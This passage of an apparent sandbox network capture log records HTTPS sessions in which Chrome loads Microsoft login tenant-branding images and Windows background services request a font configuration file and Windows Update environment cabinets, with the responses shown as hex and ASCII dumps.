2024-05-24 05:54:50 UTC	3666	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 06 00 00 00 bd c4 a5 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0d f4 49 44 41 54 78 da ec 5d 0b b4 16 55 15 3e 37 50 a9 90 37 01 f9 42 84 85 a8 b9 00 ad 50 ba f2 92 8b 22 2a 20 46 2a f2 10 49 40 09 90 2c 5d 95 88 49 2b 40 40 40 22 4b e5 2d 90 99 3c 42 bc 08 78 31 82 a5 91 70 5d 92 59 80 41 3c 0b c5 88 57 c8 a3 fd f1 ef bb d6 30 9e 3d ff cc 7f 67 ce fc 8b bb bf b5 f6 9a 7b 67 ce 9c c7 cc 99 7d f6 de 67 ef fd 17 1c e8 da 68 be 31 a6 a9 71 87 92 6a 0b b7 0e c7 1f 23 97 9b 7b e8 f0 7d 87 6d 9b 51 45 a6 85 51 28 14 4e 50 99 99 4b 73 87 6d 6e f3 fc 5d d7 71 db 0a 85 c2 21 be a0 8f 40 a1 50 28 83 51 28 14 ca 60 Data Ascii: PNGIHDR<tEXtSoftwareAdobe ImageReadyqe<IDATx]U>7P7BP"* F*I@,]I+@@@"K-<Bx1p]YA<W0=g{g}gh1qj#{}mQEQ(NPKsmn]q!@P(Q(`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49729	152.199.21.175	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:51 UTC	454	OUT	GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:51 UTC	615	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 812 Cache-Control: public, max-age=86400 Content-MD5: yfMeh0AMRvn4+1gGAjKMcg== Content-Type: image/* Date: Fri, 24 May 2024 05:54:51 GMT Etag: 0x8D64F464E9A2738 Last-Modified: Wed, 21 Nov 2018 00:14:30 GMT Server: ECAcc (lhc/7928) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d09ee625-001e-000c-149d-add4ea000000 x-ms-version: 2009-09-19 Content-Length: 3666 Connection: close
2024-05-24 05:54:51 UTC	3666	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 06 00 00 00 bd c4 a5 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0d f4 49 44 41 54 78 da ec 5d 0b b4 16 55 15 3e 37 50 a9 90 37 01 f9 42 84 85 a8 b9 00 ad 50 ba f2 92 8b 22 2a 20 46 2a f2 10 49 40 09 90 2c 5d 95 88 49 2b 40 40 40 22 4b e5 2d 90 99 3c 42 bc 08 78 31 82 a5 91 70 5d 92 59 80 41 3c 0b c5 88 57 c8 a3 fd f1 ef bb d6 30 9e 3d ff cc 7f 67 ce fc 8b bb bf b5 f6 9a 7b 67 ce 9c c7 cc 99 7d f6 de 67 ef fd 17 1c e8 da 68 be 31 a6 a9 71 87 92 6a 0b b7 0e c7 1f 23 97 9b 7b e8 f0 7d 87 6d 9b 51 45 a6 85 51 28 14 4e 50 99 99 4b 73 87 6d 6e f3 fc 5d d7 71 db 0a 85 c2 21 be a0 8f 40 a1 50 28 83 51 28 14 ca 60 Data Ascii: PNGIHDR<tEXtSoftwareAdobe ImageReadyqe<IDATx]U>7P7BP"* F*I@,]I+@@@"K-<Bx1p]YA<W0=g{g}gh1qj#{}mQEQ(NPKsmn]q!@P(Q(`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49730	152.199.21.175	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:51 UTC	456	OUT	GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:51 UTC	617	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 917 Cache-Control: public, max-age=86400 Content-MD5: A4OQ6N4MH75uEKijO9J+Gg== Content-Type: image/* Date: Fri, 24 May 2024 05:54:51 GMT Etag: 0x8DB0B9BF12F27C7 Last-Modified: Fri, 10 Feb 2023 19:20:59 GMT Server: ECAcc (lhc/794C) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a6515e27-301e-0017-4d9c-adeae9000000 x-ms-version: 2009-09-19 Content-Length: 256712 Connection: close
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 8d 00 8d 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 01 02 02 02 02 02 02 02 02 02 02 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 ff c0 00 11 08 02 9f 04 a9 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-05-24 05:54:51 UTC	1	IN	Data Raw: 04 Data Ascii:
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: 37 af 6f e5 58 ae 1b ed 0c 58 ee 1d 7b e3 af 4e 3a 56 ed b4 f8 08 a6 3c 81 f2 8e 49 e0 9c e3 19 e6 be 57 6d 3b 1e e2 77 d5 1a 69 14 5f 26 7a f5 39 fe bf 9d 49 84 0e cc 0e e3 9c 00 31 f8 1f d2 a5 11 a1 1b c9 0a 76 f0 3f c7 df 15 1c ca 21 4d e8 47 ae 31 9c fd 33 d2 81 8e 13 08 81 3b 4e e2 7a e4 f1 9f 6a 70 b8 46 f9 64 39 6e 0e 78 1d 38 c6 07 bd 56 67 62 aa c0 02 48 24 e7 82 00 ed c7 f9 e6 b1 a4 b8 26 52 a0 6d eb 8f 4c 8c 75 cf 5a 00 e8 95 03 b0 c1 19 eb f8 ff 00 8f 35 34 c7 62 ed 24 16 ed 80 33 f5 e9 59 f6 ae 11 51 89 2c c7 df 1c 73 d4 03 ed 56 24 29 2e 5d c9 50 3d cf e5 f4 a0 07 47 b1 83 6e 03 77 af 39 fa 80 29 ec 88 9b 00 e7 3f 31 e4 ff 00 2c d5 51 c8 ca b7 07 8e 3b 83 cf 3e 95 3a 2e 13 73 f0 00 23 04 9f a6 33 fe 7a 50 02 9b e0 92 04 50 42 e0 f6 07 38 f7 Data Ascii: 7oXX{N:V<IWm;wi_&z9I1v?!MG13;NzjpFd9nx8VgbH$&RmLuZ54b$3YQ,sV$).]P=Gnw9)?1,Q;>:.s#3zPPB8
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: bb c7 4a fb 63 fe 0a 69 fb 69 5d 7c 5b f1 cd d7 80 fc 21 74 60 f0 ae 86 5a ce da 08 a4 c4 29 6a 8c f1 b4 85 4a ff 00 ad 7c 67 a9 f6 af c8 1d c2 34 5e 19 42 ae 0b 30 fb e3 3b b2 ab d1 7f ae 6b ec b2 8c b9 61 69 51 8d 2a 7c f5 27 d2 c8 f0 b1 18 b5 8a a9 5f 15 8a 7e ce 85 3b f2 f6 d0 59 a6 11 21 f6 18 03 8e 87 9c 65 87 ad 61 3c 9b e5 2c d9 ca 8f 94 9e 47 3d b8 1c f1 8f ca ad 4f 38 72 48 38 5e 41 e9 d7 9e fe 95 48 8c 8d c3 a1 3c 7e 67 18 c7 b5 7e ed c2 f9 14 30 14 7e b9 5d 5a bc f5 8f 75 b1 f8 8f 17 71 0b cd 71 0b 05 42 7c b8 3a 5a 68 f4 93 27 19 6e 71 ef d0 0a b5 04 7c 82 47 3f e7 fc 3f 5a af 18 e0 76 c0 00 f4 e7 b9 1f ca b4 61 51 85 f5 cf f3 ff 00 f5 d7 dd 51 8b 9b 8c 9a b7 36 a7 e7 95 a6 e1 74 9e 85 b8 94 1c 7d 0f 1c fa e2 af c5 19 c8 e3 80 3a 73 9f 4c 7e Data Ascii: Jcii]\|[!t`Z)jJ\|g4^B0;kaiQ*\|'_~;Y!ea<,G=O8rH8^AH<~g~0~]ZuqqB\|:Zh'nq\|G??ZvaQQ6t}:sL~
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: 2b e1 73 0c be b6 02 6e 74 9f 3e 1e 5a fa 79 1f 5b 47 11 4f 1f 1e 78 46 31 c4 ad 1c 6d ba fe 6b 77 7d cf d5 71 04 4a 3e 58 c0 5e 9d 30 7f cf f8 55 98 ca 46 39 1f 36 7d f2 07 35 e8 ba ef 85 2d ae 2c 20 f1 1f 86 ae 62 d4 f4 6b d8 c5 cc 12 c1 21 91 76 49 f3 00 db 47 ca 42 91 de bc ce 44 7d e0 e7 9e 85 71 82 ac 3b 57 94 eb 5f 5d 8d b9 23 1d 39 75 5f 99 a7 1b ab 60 29 00 93 c9 eb 91 f8 d5 81 12 6e 00 e3 18 27 a7 39 ff 00 0e b5 99 1e 53 07 92 7f cf 6f 5e 3f 5a d4 84 12 43 1f 9b 82 00 fa 81 8a 14 b9 b5 35 82 d3 48 5c 95 2d f0 46 13 0a 4e 4f 5c 93 ce 3b fb 55 8f 2b fd 9f d7 ff 00 af 52 ae 51 41 6e 79 c6 3e b9 3d a9 7c c5 fe ef f3 ff 00 e2 a8 b2 ec 29 6f b5 8f e6 39 47 ce 17 83 c8 39 ef f8 fe 75 65 54 3c 9c 7c a0 7a 76 1e 9e f5 1c 69 ce 17 83 8c fd 7f 3a bb 0c 18 Data Ascii: +snt>Zy[GOxF1mkw}qJ>X^0UF96}5-, bk!vIGBD}q;W_]#9u_`)n'9So^?ZC5H\-FNO\;U+RQAny>=\|)o9G9ueT<\|zvi:
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: dc 57 c2 7e 36 f1 d5 d6 a7 2c d1 47 23 ed 62 c3 03 69 cf 3d b2 38 3c 54 5e 34 f1 b5 de b5 72 d1 24 d2 34 65 88 3f 30 00 80 4f 39 1e f5 e7 86 26 6c 31 39 27 9c 9e 71 9f ad 7f a6 5e 1a 78 61 96 f0 e6 13 0b 88 c4 d1 4a bd af ca e2 bf ba 7f 14 f1 f7 88 d8 fc ef 11 5b 09 84 ab fe ce b4 e6 52 2a 31 70 09 62 5b 7f 39 3c fb 9e 7d 72 3f 5a 60 88 96 0c 7b 71 83 d7 9f a5 5c f2 8a 80 3b 0c e3 a7 04 8e a4 e6 a2 c6 0e 09 c9 fd 3e 9c 57 ee 4a 5b 7b 38 b8 c1 68 ba 68 7e 49 ef 73 2e 67 cd 29 6e 4d 14 63 e9 c6 7f 0e 2b 42 38 d0 63 24 e3 19 07 df d7 a5 55 85 97 a9 18 38 e3 9f 7a d1 46 c8 fd 7d 30 3f 0a c2 ae bc cd ad 4d a2 92 69 25 64 c6 3e d3 83 92 4e 47 6f 4f a0 ab b6 e8 bb 37 12 09 c8 e3 8e 3a d4 03 24 f1 82 08 c6 3a f7 ab 71 02 00 1d 86 7b 77 ff 00 3f ca b8 aa 4f 97 44 Data Ascii: W~6,G#bi=8<T^4r$4e?0O9&l19'q^xaJ[R*1pb[9<}r?Z`{q\;>WJ[{8hh~Is.g)nMc+B8c$U8zF}0?Mi%d>NGoO7:$:q{w?OD
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: d4 90 f8 27 42 93 e1 8f 84 2e 95 fc 43 aa 42 d0 6a 4f 6a ea ad 63 03 12 18 92 b9 e4 83 de bf 0a 2f 2f ca 24 97 97 0c 5e 52 ce ce ef cb 4b 29 cb 3b b3 11 96 39 35 7b c5 be 39 d6 7c 71 e2 1d 63 c5 3e 21 bb 96 e6 fb 58 b9 7b b6 32 33 4b e4 47 2b 96 58 72 78 4c 0c 70 2b cb 35 5d 45 ee e6 f2 63 2d e4 a1 f5 c2 92 4f d7 eb 5f 7b c3 99 0d 6c 56 22 9d 29 c7 92 9c 7d ee 6e fe 47 e7 f9 fe 6f 75 2a 92 76 49 fe ee 3f cb e7 12 bd f5 e4 b7 b3 99 db ee b6 76 8f 40 3f 0a a9 ef f8 51 c8 f9 73 c0 3f 5e 87 de 90 b6 3a d7 ec 94 28 53 c3 d2 8d 18 46 ca 1f 99 f9 a5 5a b2 ad 52 75 66 ef 29 eb 7e e2 d1 4d 0c 0f 03 34 ea d8 e6 93 69 ee 3d 3a fe 15 30 ea 3e a2 98 a0 00 0e 39 20 54 c8 bd c8 e3 b5 6b 0d 88 6d fa 8a c7 6b 67 1d bf af ff 00 5a a7 8c e4 67 18 3e bc d4 78 e7 3d fa 53 83 Data Ascii: 'B.CBjOjc//$^RK);95{9\|qc>!X{23KG+XrxLp+5]Ec-O_{lV")}nGou*vI?v@?Qs?^:(SFZRuf)~M4i=:0>9 TkmkgZg>x=S
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: ae f4 75 6f 97 24 30 23 d0 76 ff 00 3e b5 c5 2c 23 95 da 47 4d 2c 47 e6 70 c7 47 69 95 f7 fc 88 a7 1b b2 7e 66 e7 07 3d 8e 6b 06 eb 43 91 08 33 9f 38 2b 70 18 60 15 27 81 f2 f7 e0 7b f3 5e 89 35 9b b8 50 1d 82 82 0e dc f5 c7 38 23 f3 fc aa 1b bb 78 f6 16 94 61 d4 01 b4 73 bb 68 c0 e9 de b9 2b 60 ef 06 a5 1b b3 d1 a1 8e ab 4e 69 c6 4b fe de 3c 66 4f 0e dd c5 7b 2d c1 93 36 f3 83 88 5c e4 2f 1c 60 91 91 f9 d7 2d a8 78 3a d6 e9 ae 37 5b ab 34 8d c8 11 ab 21 c8 39 c8 6e a3 9a f7 98 ac d6 5f 9e 4e 73 9d 8a d9 f9 7a 63 a1 e7 8a c5 bc b2 f2 65 6c f0 cd 90 a9 b4 10 58 8e b9 27 af 15 e6 4f 2d 4e 9b bd 34 fe 47 a9 0c d6 7c d1 f7 b9 66 bf 94 fc f1 f8 c1 fb 21 7c 37 f8 9d 67 77 63 e2 5f 0a 69 b7 6f 73 1b e2 43 04 6b 3a 93 9f 99 1e 38 db 07 e6 3f c3 f4 c5 7e 34 7c 68 Data Ascii: uo$0#v>,#GM,GpGi~f=kC38+p`'{^5P8#xash+`NiK<fO{-6\/`-x:7[4!9n_NszcelX'O-N4G\|f!\|7gwc_iosCk:8?~4\|h
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: 11 19 90 12 bf bc 89 98 9d a7 bd 75 40 a8 1c 8f 9b 3e fe fd bf cf 4a e4 ab 37 39 b6 ec bd 36 3d 0c 34 15 28 46 11 6d db b9 97 30 3b 18 fd d1 d3 80 33 fc b9 ae 03 5d 19 1d 01 04 e0 e4 02 09 00 91 9c f6 ce 3f 2a f4 2b ac a9 6c f7 1d c0 f4 27 fc 2b 80 d6 c6 54 93 db 77 b0 e8 7b 0a f3 b1 76 51 7a 1e be 1d b6 ec f6 ff 00 86 3e 0a fd a1 bc 17 a8 47 71 6f f1 3b c2 90 24 be 26 f0 c2 33 ea f6 d0 e4 be b3 a4 12 3e d3 09 dd 9f 36 75 89 7f 76 31 9a f1 09 66 d2 7c 7b e1 e8 75 7b 20 1e d7 53 3f 74 00 26 d3 75 14 19 7b 79 b9 dd 0c a9 2e 7d 2b ee ff 00 12 aa 91 28 64 56 46 0c 1d 76 83 95 20 e7 8c 7c c7 a5 7e 79 f8 de cb fe 14 ff 00 8d 24 d5 62 86 53 f0 eb c6 97 29 0e a9 e5 07 29 e1 ed 6e 56 22 39 d5 01 cc 70 b9 3b 9c 83 81 ba be 43 30 a4 ea cd db 74 7d 3e 0a ab c3 ce 32 Data Ascii: u@>J796=4(Fm0;3]?*+l'+Tw{vQz>Gqo;$&3>6uv1f\|{u{ S?t&u{y.}+(dVFv \|~y$bS))nV"9p;C0t}>2
2024-05-24 05:54:51 UTC	16383	IN	Data Raw: 5f b3 4b 22 c6 19 a6 8d 43 2e ec ee cf 35 f8 e7 e0 1f 1d 49 05 de 85 e3 3f 0c dc aa 6a 1a 4d e4 1a 95 ac ac 11 be c9 7f 6e 7c d4 32 2b ab 02 8a eb dc 57 a7 78 b3 e3 4f c4 cf 18 78 ab c5 7e 38 d7 7c 51 e4 ea de 29 b3 82 cb 55 fe cf b7 b7 b5 b2 7b 78 21 58 c3 35 b8 b6 58 e4 76 8f f8 b6 03 c5 7e 33 5e 38 8f 6f 52 15 f4 ae a5 ef 3e a7 eb 14 65 42 34 a1 3a 4b f7 2e 2a d6 13 e2 ff 00 c4 4b 7d 72 ed b4 bd 07 51 d6 ec 3e 19 f8 7e 7b 99 7c 1f e0 fb fd 7b 51 d4 ac b4 4b 79 5d a4 d9 6a b7 73 c8 b2 cf 96 cb 30 c3 2e 76 f2 bf 2d 7c f3 a5 d9 4b af dd cf a9 5e 06 92 d0 92 ab e7 28 c8 8d b8 01 17 b8 fc 2a 09 25 bb f1 86 a2 d6 f0 cb 22 68 96 6c 4d dd f6 e5 8c 5f 4c a4 bb 86 5c 63 ef 03 ca fe 75 f5 a7 c0 bf d9 b7 c7 3f 1c 6e 6d 1f 41 68 3c 2f e0 d8 66 9a c1 bc 53 a8 5b dd Data Ascii: _K"C.5I?jMn\|2+WxOx~8\|Q)U{x!X5Xv~3^8oR>eB4:K.K}rQ>~{\|{QKy]js0.v-\|K^(%"hlM_L\cu?nmAh</fS[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49733	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:54 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 05:54:54 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=209720 Date: Fri, 24 May 2024 05:54:54 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49734	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:54 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yk5mkZvHsbXU8VF&MD=byZ9MkxY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-24 05:54:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3322478e-f944-4e5e-93ce-67fd4a73c832 MS-RequestId: 7c98c4b0-3279-4f5f-b5a3-450485e5baf3 MS-CV: gEWdWfVvyEecMo/j.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 24 May 2024 05:54:53 GMT Connection: close Content-Length: 24490
2024-05-24 05:54:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-24 05:54:54 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49735	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:55 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 05:54:55 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=209655 Date: Fri, 24 May 2024 05:54:55 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-24 05:54:55 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49736	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:55:32 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yk5mkZvHsbXU8VF&MD=byZ9MkxY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-24 05:55:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_1440" MS-CorrelationId: ef2cb3fc-f56d-4669-bb0a-3c9f318e03a1 MS-RequestId: be006ca7-7a31-48fa-899a-c3e9576e8a9f MS-CV: e7LY3JBVu0ykSUoa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 24 May 2024 05:55:31 GMT Connection: close Content-Length: 25457
2024-05-24 05:55:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-24 05:55:32 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: 